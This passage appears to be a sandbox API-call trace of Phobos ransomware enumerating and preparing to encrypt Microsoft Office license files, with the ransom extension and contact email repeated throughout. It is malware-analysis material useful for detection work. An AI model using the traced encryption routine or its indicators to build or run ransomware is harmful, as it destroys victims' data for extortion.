office\\root\\licenses16\\projectpror_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.174] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.175] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20852) returned 1 [0153.175] CloseHandle (hObject=0x574) returned 1 [0153.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ppd.xrm-ms")) returned 0x220 [0153.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.176] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.177] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11604) returned 1 [0153.177] CloseHandle (hObject=0x574) returned 1 [0153.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0153.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.260] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.261] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19949) returned 1 [0153.261] CloseHandle (hObject=0x57c) returned 1 [0153.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0153.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.261] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.262] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11634) returned 1 [0153.263] CloseHandle (hObject=0x57c) returned 1 [0153.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0153.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.264] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.265] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=9626) returned 1 [0153.265] CloseHandle (hObject=0x57c) returned 1 [0153.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul.xrm-ms")) returned 0x220 [0153.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.320] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.321] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10639) returned 1 [0153.321] CloseHandle (hObject=0x564) returned 1 [0153.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-pl.xrm-ms")) returned 0x220 [0153.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.322] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.323] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6733) returned 1 [0153.323] CloseHandle (hObject=0x564) returned 1 [0153.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ppd.xrm-ms")) returned 0x220 [0153.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.323] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.324] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11601) returned 1 [0153.324] CloseHandle (hObject=0x564) returned 1 [0153.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ul-oob.xrm-ms")) returned 0x220 [0153.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.325] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.325] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19946) returned 1 [0153.325] CloseHandle (hObject=0x564) returned 1 [0153.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ul-phn.xrm-ms")) returned 0x220 [0153.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.326] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.327] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11199) returned 1 [0153.327] CloseHandle (hObject=0x564) returned 1 [0153.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0153.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusdemor_bypasstrial180-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.327] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.328] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24433) returned 1 [0153.328] CloseHandle (hObject=0x564) returned 1 [0153.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0153.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusdemor_bypasstrial180-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.329] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.329] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11649) returned 1 [0153.329] CloseHandle (hObject=0x564) returned 1 [0153.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0153.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusdemor_bypasstrial180-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.330] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.331] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10651) returned 1 [0153.331] CloseHandle (hObject=0x564) returned 1 [0153.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-pl.xrm-ms")) returned 0x220 [0153.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.331] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.332] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24369) returned 1 [0153.332] CloseHandle (hObject=0x564) returned 1 [0153.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-ppd.xrm-ms")) returned 0x220 [0153.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.333] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.333] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.334] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11600) returned 1 [0153.334] CloseHandle (hObject=0x564) returned 1 [0153.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-ul-oob.xrm-ms")) returned 0x220 [0153.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 